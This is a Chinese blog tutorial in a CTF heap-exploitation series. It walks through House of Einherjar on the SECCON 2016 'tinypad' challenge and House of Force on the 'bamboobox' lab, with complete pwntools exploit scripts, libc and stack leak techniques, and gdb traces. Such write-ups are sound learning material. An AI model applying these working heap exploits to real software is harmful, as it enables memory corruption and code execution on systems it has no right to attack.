pwn堆入门系列教程9 本文首发于先知社区
pwn堆入门系列教程1 pwn堆入门系列教程2 pwn堆入门系列教程3 pwn堆入门系列教程4 pwn堆入门系列教程5 pwn堆入门系列教程6 pwn堆入门系列教程7 pwn堆入门系列教程8
学习House Of Einherjar
2016 Seccon tinypad 这道题说难不难。。我也做得久了,因为exp看不懂啊,这么复杂。。。后来简化了下,感觉轻松点了
功能分析,新增,删除,编辑,退出
至于洞,off-by-one
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 unsigned __int64 __fastcall read_until (char *a1, unsigned __int64 len, unsigned int terminate) { int v4; unsigned __int64 i; __int64 v6; v4 = terminate; for ( i = 0L L; i < len; ++i ) { v6 = read_n(0L L, &a1[i], 1L L); if ( v6 < 0 ) return -1L L; if ( !v6 || a1[i] == v4 ) break ; } a1[i] = 0 ; #a1[i]可以是a1[len],多了一个字节 if ( i == len && a1[len - 1 ] != '\n' ) dummyinput(v4); return i; }
漏洞利用过程 堆操作初始化部分 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 from pwn import *elf = ELF('./tinypad' ) libc = elf.libc io = process('./tinypad' ) def choice (idx) : io.sendlineafter("(CMD)>>> " , idx) def add (size, content) : choice("A" ) io.sendlineafter("(SIZE)>>> " , str(size)) io.sendlineafter("(CONTENT)>>> " , content) def remove (idx) : choice("D" ) io.sendlineafter("(INDEX)>>> " , str(idx)) def edit (idx, content) : choice("E" ) io.sendlineafter("(INDEX)>>> " , str(idx)) io.sendlineafter("(CONTENT)>>> " , content) io.sendlineafter("(Y/n)>>> " , "Y" ) def quit () : choice("Q" )
泄露地址 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 add(0x80 , '1' *0x80 ) add(0x80 , '2' *0x80 ) add(0x80 , '3' *0x80 ) add(0x80 , '4' *0x80 ) remove(3 ) remove(1 ) io.recvuntil("INDEX: 1\n" ) io.recvuntil(" # CONTENT: " ) heap = u64(io.recvline().rstrip().ljust(8 , '\x00' )) - 0x120 io.success("heap: 0x%x" % heap) io.recvuntil("INDEX: 3\n" ) io.recvuntil(" # CONTENT: " ) leak_libc = u64(io.recvline().strip().ljust(8 , '\x00' )) - 88 io.success("main_arena: 0x%x" %leak_libc) libc_base = leak_libc - 0x3c4b20 remove(2 ) remove(4 )
这个部分简单啊,leak,全在unsortedbin里,这里学到一个知识点是rstrip,通常我只用过strip, 该rstrip()方法删除所有尾随字符(字符串末尾的字符),空格是要删除的默认尾随字符 至于88这个是main_arena+88,减掉就是main_arena
House Of Einherjar 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 add(0x10 , '1' *0x10 ) add(0x100 , '2' *0xf8 + p64(0x11 )) add(0x100 , '3' *0xf8 ) add(0x100 , '4' *0xf8 ) tinypad = 0x0000000000602040 offset = heap + 0x20 - (0x602040 + 0x20 ) io.success("offset: 0x%x" % offset) fake_chunk = p64(0 ) + p64(0x101 ) + p64(0x602060 )*2 edit(3 , "4" *0x20 + fake_chunk) remove(1 ) add(0x18 , '1' *0x10 + p64(offset)) remove(2 ) edit(4 , "4" *0x20 + p64(0 ) + p64(0x101 ) + p64(leak_libc + 88 )*2 )
原解我感觉把题目搞复杂了,不需要for循环覆盖那个pre_size,完全可以利用add的时候加上就完了, house of einherjar这个攻击方法有点类似于unlink,不过又不太相似
目标:0x602060这个位置 heap + 0x20是第二个chunk位置 我们目的就是让第二个chunk的上一个chunk达到0x602060 所以pre_size就是第二个chunk位置减去0x602060 offset = heap + 0x20 - (0x602040 + 0x20)
fake_chunk这里是从tinypad开始地址开始覆盖的,前面0x20个作为后面填充部分,防止多次写的时候覆盖到 然后指针不像unlink那样了, p->fd = p p->bk = p
这里edit的时候都会从tinypad开始覆盖,所以编辑别个也可以的 edit(3, “4”*0x20 + fake_chunk)
remove(1)在add(0x18),利用tcache的复用就行了,原exp的解是搞得很复杂,循环单字节null填充,太麻烦了感觉
这点不用这么复杂,0x101是为了后面分配用的,而p64(leak_libc+88)*2 这里,你只要bk是个可写的地址就行了,不要是不可写的就行,unsortedbin攻击里讲过
引用ctf-wiki
1 2 3 4 5 6 7 8 #在 glibc/malloc /malloc .c 中的 _int_malloc 有这么一段代码,当将一个 unsorted bin 取出的时候,会将 bck->fd 的位置写入本 Unsorted Bin 的位置。 if (__glibc_unlikely (bck->fd != victim)) malloc_printerr ("malloc(): corrupted unsorted chunks 3" ); unsorted_chunks (av)->bk = bck; bck->fd = unsorted_chunks (av);
edit(4, “4”0x20 + p64(0) + p64(0x101) + p64(leak_libc + 88) 2)
getshell 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 one_gadget = libc_base + 0x45216 io.success("libc_base: 0x%x" % libc_base) environ_pointer = libc_base + libc.symbols['__environ' ] io.success("environ_pointer: 0x%x" % environ_pointer) add(0xf0 , '1' *0xd0 + p64(0x18 ) + p64(environ_pointer) + 'a' *8 + p64(0x602148 )) io.recvuntil(" # INDEX: 1\n" ) io.recvuntil(" # CONTENT: " ) main_ret = u64(io.recvline().rstrip().ljust(8 , '\x00' )) - 0x8 * 30 io.success("main_ret: %x" % main_ret) edit(2 , p64(main_ret)) edit(1 , p64(one_gadget)) quit()
这里学到了一个新方法,通过environ泄露main函数ret地址,然后覆盖main_ret
在 Linux 系统中,glibc 的环境指针 environ(environment pointer) 为程序运行时所需要的环境变量表的起始地址,环境表中的指针指向各环境变量字符串。从以下结果可知环境指针 environ 在栈空间的高地址处。因此,可通过 environ 指针泄露栈地址。讲解这部分的文章
这里还用到个常用攻击方法,覆盖两个指针,一个用来控制另一个地址的,这个跟unlink那会学的攻击手法一样的,至于0x8*30,可以用查看内存中对比
自己调试的时候可以main函数尾部下个断,可以看到我这个结果
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 Breakpoint 1, 0x0000000000400e68 in main () LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────── RAX 0x0 RBX 0x0 RCX 0x0 RDX 0x7f5fc76f6ae0 (_nl_C_LC_CTYPE_toupper) ◂— add byte ptr [rax], 0 RDI 0x51 RSI 0x0 R8 0x1 R9 0x1999999999999999 R10 0x0 R11 0x246 R12 0x4006e0 (_start) ◂— xor ebp, ebp R13 0x7fff53d21f40 ◂— 0x1 R14 0x0 R15 0x0 RBP 0x401370 (__libc_csu_init) ◂— push r15 RSP 0x7fff53d21e68 —▸ 0x7f5fc75a0830 (__libc_start_main+240) ◂— mov edi, eax RIP 0x400e68 (main+1541) ◂— ret ──────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────────────────────────────────────────── ► 0x400e68 <main+1541> ret <0x7f5fc75a0830; __libc_start_main+240> ↓ 0x7f5fc75a0830 <__libc_start_main+240> mov edi, eax 0x7f5fc75a0832 <__libc_start_main+242> call exit <0x7f5fc75ba030> 0x7f5fc75a0837 <__libc_start_main+247> xor edx, edx 0x7f5fc75a0839 <__libc_start_main+249> jmp __libc_start_main+57 <0x7f5fc75a0779> 0x7f5fc75a083e <__libc_start_main+254> mov rax, qword ptr [rip + 0x3a8ecb] <0x7f5fc7949710> 0x7f5fc75a0845 <__libc_start_main+261> ror rax, 0x11 0x7f5fc75a0849 <__libc_start_main+265> xor rax, qword ptr fs:[0x30] 0x7f5fc75a0852 <__libc_start_main+274> call rax 0x7f5fc75a0854 <__libc_start_main+276> mov rax, qword ptr [rip + 0x3a8ea5] <0x7f5fc7949700> 0x7f5fc75a085b <__libc_start_main+283> ror rax, 0x11 ──────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────── 00:0000│ rsp 0x7fff53d21e68 —▸ 0x7f5fc75a0830 (__libc_start_main+240) ◂— mov edi, eax 01:0008│ 0x7fff53d21e70 ◂— 0x1 02:0010│ 0x7fff53d21e78 —▸ 0x7fff53d21f48 —▸ 0x7fff53d233b3 ◂— './tinypad' 03:0018│ 0x7fff53d21e80 ◂— 0x1c7b6fca0 04:0020│ 0x7fff53d21e88 —▸ 0x400863 (main) ◂— push rbp 05:0028│ 0x7fff53d21e90 ◂— 0x0 06:0030│ 0x7fff53d21e98 ◂— 0x63cd5245d4e10d9c 07:0038│ 0x7fff53d21ea0 —▸ 0x4006e0 (_start) ◂— xor ebp, ebp ────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────── ► f 0 400e68 main+1541 f 1 7f5fc75a0830 __libc_start_main+24
为什么是libc_start_main?建议看看第三篇讲的linux x86程序启动 给链接
linux_x86程序启动中文版 linux_x86程序启动英文版
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 84 ../sysdeps/unix/syscall-template.S: No such file or directory. LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ─────────────────────────────────[ REGISTERS ]────────────────────────────────── RAX 0xfffffffffffffe00 RBX 0x0 RCX 0x7f30af211260 (__read_nocancel+7) ◂— cmp rax, -0xfff RDX 0x1 RDI 0x0 RSI 0x7fff48b59964 ◂— 0x7b51190000000000 R8 0x1 R9 0x1999999999999999 R10 0x0 R11 0x246 R12 0x4006e0 (_start) ◂— xor ebp, ebp R13 0x7fff48b59a80 ◂— 0x1 R14 0x0 R15 0x0 RBP 0x7fff48b59900 —▸ 0x7fff48b59950 —▸ 0x7fff48b59970 —▸ 0x7fff48b599a0 —▸ 0x401370 (__libc_csu_init) ◂— ... RSP 0x7fff48b598b8 —▸ 0x400ed9 (_read_n+112) ◂— mov qword ptr [rbp - 0x10], rax RIP 0x7f30af211260 (__read_nocancel+7) ◂— cmp rax, -0xfff ───────────────────────────────────[ DISASM ]─────────────────────────────────── ► 0x7f30af211260 <__read_nocancel+7> cmp rax, -0xfff 0x7f30af211266 <__read_nocancel+13> jae read +73 <0x7f30af211299> ↓ 0x7f30af211299 <read +73> mov rcx, qword ptr [rip + 0x2ccbd8] 0x7f30af2112a0 <read +80> neg eax 0x7f30af2112a2 <read +82> mov dword ptr fs:[rcx], eax 0x7f30af2112a5 <read +85> or rax, 0xffffffffffffffff 0x7f30af2112a9 <read +89> ret 0x7f30af2112aa nop word ptr [rax + rax] 0x7f30af2112b0 <write> cmp dword ptr [rip + 0x2d2489], 0 <0x7f30af4e3740> 0x7f30af2112b7 <write+7> jne write+25 <0x7f30af2112c9> ↓ 0x7f30af2112c9 <write+25> sub rsp, 8 ───────────────────────────────────[ STACK ]──────────────────────────────────── 00:0000│ rsp 0x7fff48b598b8 —▸ 0x400ed9 (_read_n+112) ◂— mov qword ptr [rbp - 0x10], rax 01:0008│ 0x7fff48b598c0 —▸ 0x7fff48b598f0 —▸ 0x4018d8 (prompt_cmd) ◂— sub byte ptr [rbx + 0x4d], al /* '(CMD)>>> ' */ 02:0010│ 0x7fff48b598c8 ◂— 0x1 03:0018│ 0x7fff48b598d0 —▸ 0x7fff48b59964 ◂— 0x7b51190000000000 04:0020│ 0x7fff48b598d8 —▸ 0x400fad (_write_n+112) ◂— mov qword ptr [rbp - 0x10], rax 05:0028│ 0x7fff48b598e0 —▸ 0x401a29 ◂— or al, byte ptr [rax] /* '\n' */ 06:0030│ 0x7fff48b598e8 ◂— 0x0 07:0038│ 0x7fff48b598f0 —▸ 0x4018d8 (prompt_cmd) ◂— sub byte ptr [rbx + 0x4d], al /* '(CMD)>>> ' */ ─────────────────────────────────[ BACKTRACE ]────────────────────────────────── ► f 0 7f30af211260 __read_nocancel+7 f 1 400ed9 _read_n+112 f 2 401100 read_until+73 f 3 400832 getcmd+92 f 4 4009c1 main+350 f 5 7f30af13a830 __libc_start_main+240
1 2 3 4 5 6 7 8 gdb-peda$ find '0x7f30af13a830' Searching for '0x7f30af13a830' in : None ranges Found 1 results, display max 1 items: [stack] : 0x7fff48b599a8 --> 0x7f30af13a830 (<__libc_start_main+240>: mov edi,eax) gdb-peda$ p 0x7fff48b599a8-0x7fff48b59a98 $1 = 0xffffffffffffff10gdb-peda$ p 0x7fff48b59a98-0x7fff48b599a8 $2 = 0xf0
这里说下怎么找偏移, 从environ里leak出来的地址[+] main_ret: 0x7fff48b59a98,在与find出来的地址,find 的话,是find上面的f5那个地址,就是查找存了这个地址的位置,然后计算下偏移就行了
1 2 gdb-peda$ p 0x7fff48b59a98-0x7fff48b599a8 $2 = 0xf0
完结,撒花
exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 from pwn import *elf = ELF('./tinypad' ) libc = elf.libc io = process('./tinypad' ) def choice (idx) : io.sendlineafter("(CMD)>>> " , idx) def add (size, content) : choice("A" ) io.sendlineafter("(SIZE)>>> " , str(size)) io.sendlineafter("(CONTENT)>>> " , content) def remove (idx) : choice("D" ) io.sendlineafter("(INDEX)>>> " , str(idx)) def edit (idx, content) : choice("E" ) io.sendlineafter("(INDEX)>>> " , str(idx)) io.sendlineafter("(CONTENT)>>> " , content) io.sendlineafter("(Y/n)>>> " , "Y" ) def quit () : choice("Q" ) def exp () : add(0x80 , '1' *0x80 ) add(0x80 , '2' *0x80 ) add(0x80 , '3' *0x80 ) add(0x80 , '4' *0x80 ) remove(3 ) remove(1 ) io.recvuntil("INDEX: 1\n" ) io.recvuntil(" # CONTENT: " ) heap = u64(io.recvline().rstrip().ljust(8 , '\x00' )) - 0x120 io.success("heap: 0x%x" % heap) io.recvuntil("INDEX: 3\n" ) io.recvuntil(" # CONTENT: " ) leak_libc = u64(io.recvline().strip().ljust(8 , '\x00' )) - 88 io.success("main_arena: 0x%x" %leak_libc) libc_base = leak_libc - 0x3c4b20 remove(2 ) remove(4 ) add(0x10 , '1' *0x10 ) add(0x100 , '2' *0xf8 + p64(0x11 )) add(0x100 , '3' *0xf8 ) add(0x100 , '4' *0xf8 ) tinypad = 0x0000000000602040 offset = heap + 0x20 - (0x602040 + 0x20 ) io.success("offset: 0x%x" % offset) fake_chunk = p64(0 ) + p64(0x101 ) + p64(0x602060 )*2 edit(3 , "4" *0x20 + fake_chunk) remove(1 ) add(0x18 , '1' *0x10 + p64(offset)) remove(2 ) edit(4 , "4" *0x20 + p64(0 ) + p64(0x101 ) + p64(leak_libc + 88 )*2 ) one_gadget = libc_base + 0x45216 io.success("libc_base: 0x%x" % libc_base) environ_pointer = libc_base + libc.symbols['__environ' ] io.success("environ_pointer: 0x%x" % environ_pointer) add(0xf0 , '1' *0xd0 + p64(0x18 ) + p64(environ_pointer) + 'a' *8 + p64(0x602148 )) io.recvuntil(" # INDEX: 1\n" ) io.recvuntil(" # CONTENT: " ) main_ret = u64(io.recvline().rstrip().ljust(8 , '\x00' )) - 0x8 * 30 io.success("main_ret: %x" % main_ret) edit(2 , p64(main_ret)) edit(1 , p64(one_gadget)) quit() gdb.attach(io) if __name__ == '__main__' : exp() io.interactive()
hitcontraning_lab11 这题算是实验,所以直接调试exp, 运行环境: libc2.23.so
最新的libc2.29似乎加入了检查,运行exp报错
漏洞利用过程 申请一个堆块状态,目的是覆盖top chunk
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 gdb-peda$ x/30gx 0x25ed000 0x25ed000: 0x0000000000000000 0x0000000000000021 0x25ed010: 0x0000000000400896 0x00000000004008b1 0x25ed020: 0x0000000000000000 0x0000000000000041 0x25ed030: 0x0000000a61616464 0x0000000000000000 0x25ed040: 0x0000000000000000 0x0000000000000000 0x25ed050: 0x0000000000000000 0x0000000000000000 0x25ed060: 0x0000000000000000 0x0000000000020fa1 0x25ed070: 0x0000000000000000 0x0000000000000000 0x25ed080: 0x0000000000000000 0x0000000000000000 0x25ed090: 0x0000000000000000 0x0000000000000000 0x25ed0a0: 0x0000000000000000 0x0000000000000000 0x25ed0b0: 0x0000000000000000 0x0000000000000000 0x25ed0c0: 0x0000000000000000 0x0000000000000000 0x25ed0d0: 0x0000000000000000 0x0000000000000000 0x25ed0e0: 0x0000000000000000 0x0000000000000000
通过edit 覆盖到top chunk的size部分
1 2 3 4 5 6 7 8 9 gdb-peda$ x/30gx 0x25ed030-0x30 0x25ed000: 0x0000000000000000 0x0000000000000021 0x25ed010: 0x0000000000400896 0x00000000004008b1 0x25ed020: 0x0000000000000000 0x0000000000000041 0x25ed030: 0x6161616161616161 0x6161616161616161 0x25ed040: 0x6161616161616161 0x6161616161616161 0x25ed050: 0x6161616161616161 0x6161616161616161 0x25ed060: 0x6161616161616161 0xffffffffffffffff 0x25ed070: 0x000000000000000a 0x0000000000000000
此时top chunk位置0x00000000025ed060
1 2 3 4 5 6 7 8 9 gdb-peda$ p &main_arena $1 = (malloc_state *) 0x7f2a72614b20 <main_arena>gdb-peda$ x/20gx 0x7f2a72614b20 0x7f2a72614b20 <main_arena>: 0x0000000100000000 0x0000000000000000 0x7f2a72614b30 <main_arena+16>: 0x0000000000000000 0x0000000000000000 0x7f2a72614b40 <main_arena+32>: 0x0000000000000000 0x0000000000000000 0x7f2a72614b50 <main_arena+48>: 0x0000000000000000 0x0000000000000000 0x7f2a72614b60 <main_arena+64>: 0x0000000000000000 0x0000000000000000 0x7f2a72614b70 <main_arena+80>: 0x0000000000000000 0x00000000025ed060
位置为0x25ed060处,我们要覆盖的是0x25ed010处指针,故偏移为0x25ed060-0x25ed010-0x10 = 0x60
不过是负的,我们要往上偏移,所以要malloc(-)的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 #define REQUEST_OUT_OF_RANGE(req) \ ((unsigned long ) (req) >= (unsigned long ) (INTERNAL_SIZE_T)(-2 * MINSIZE)) #define request2size(req) \ (((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) \ ? MINSIZE \ : ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK) #define checked_request2size(req, sz) \ if (REQUEST_OUT_OF_RANGE(req)) { \ __set_errno(ENOMEM); \ return 0 ; \ } \ (sz) = request2size(req);
这里先要过掉第一个检查, -2*MINSIZE,可以pass,接下来要让我们的 ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK) 刚好等于=-60 所以要减掉个SIZE_SZ, -68就是malloc大小了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 gdb-peda$ p &main_arena $1 = (malloc_state *) 0x7f2a72614b20 <main_arena>gdb-peda$ x/20gx 0x7f2a72614b20 0x7f2a72614b20 <main_arena>: 0x0000000100000000 0x0000000000000000 0x7f2a72614b30 <main_arena+16>: 0x0000000000000000 0x0000000000000000 0x7f2a72614b40 <main_arena+32>: 0x0000000000000000 0x0000000000000000 0x7f2a72614b50 <main_arena+48>: 0x0000000000000000 0x0000000000000000 0x7f2a72614b60 <main_arena+64>: 0x0000000000000000 0x0000000000000000 0x7f2a72614b70 <main_arena+80>: 0x0000000000000000 0x00000000025ed000 0x7f2a72614b80 <main_arena+96>: 0x0000000000000000 0x00007f2a72614b78 0x7f2a72614b90 <main_arena+112>: 0x00007f2a72614b78 0x00007f2a72614b88 0x7f2a72614ba0 <main_arena+128>: 0x00007f2a72614b88 0x00007f2a72614b98 0x7f2a72614bb0 <main_arena+144>: 0x00007f2a72614b98 0x00007f2a72614ba8 gdb-peda$ x/10gx 0x00000000025ed000 0x25ed000: 0x0000000000000000 0x0000000000000059 0x25ed010: 0x0000000000400896 0x00000000004008b1 0x25ed020: 0x0000000000000000 0x0000000000000041 0x25ed030: 0x6161616161616161 0x6161616161616161 0x25ed040: 0x6161616161616161 0x6161616161616161
你看成功转移到这里了,现在在malloc一次就可以了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 0x1483000 FASTBIN { prev_size = 0x0, size = 0x21, fd = 0x400d49 <magic>, bk = 0x400d49 <magic>, fd_nextsize = 0x0, bk_nextsize = 0x39 } 0x1483020 PREV_INUSE { prev_size = 0x0, size = 0x39, fd = 0x6161616161616161, bk = 0x6161616161616161, fd_nextsize = 0x6161616161616161, bk_nextsize = 0x6161616161616161 } 0x1483058 PREV_INUSE { prev_size = 0x6161616161616161, size = 0x6161616161616161, fd = 0xffffffffffffa1, bk = 0xa, fd_nextsize = 0x0, bk_nextsize = 0x0 }
成功覆盖,最后退出一下就好了
exp 这里直接用的ctf-wiki的exp,我只改动了一处,他还减多个0xf,没看懂,所以删掉了,也没事
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 from pwn import *r = process('./bamboobox' ) context.log_level = 'debug' def additem (length, name) : r.recvuntil(":" ) r.sendline("2" ) r.recvuntil(":" ) r.sendline(str(length)) r.recvuntil(":" ) r.sendline(name) def modify (idx, length, name) : r.recvuntil(":" ) r.sendline("3" ) r.recvuntil(":" ) r.sendline(str(idx)) r.recvuntil(":" ) r.sendline(str(length)) r.recvuntil(":" ) r.sendline(name) def remove (idx) : r.recvuntil(":" ) r.sendline("4" ) r.recvuntil(":" ) r.sendline(str(idx)) def show () : r.recvuntil(":" ) r.sendline("1" ) magic = 0x400d49 additem(0x30 , "ddaa" ) payload = 0x30 * 'a' payload += 'a' * 8 + p64(0xffffffffffffffff ) modify(0 , 0x41 , payload) offset_to_heap_base = -(0x40 + 0x20 ) malloc_size = offset_to_heap_base - 0x8 additem(malloc_size, "dada" ) additem(0x10 , p64(magic) * 2 ) gdb.attach(r) print r.recv()r.interactive()
总结 一次性学了house of einherjar和house of force,ctf-wiki还是强,不过有些得自己调试才好,适合自己的才是最好的
本文作者 :NoOne本文地址 : https://noonegroup.xyz/posts/14c79378/ 版权声明 :转载请注明出处!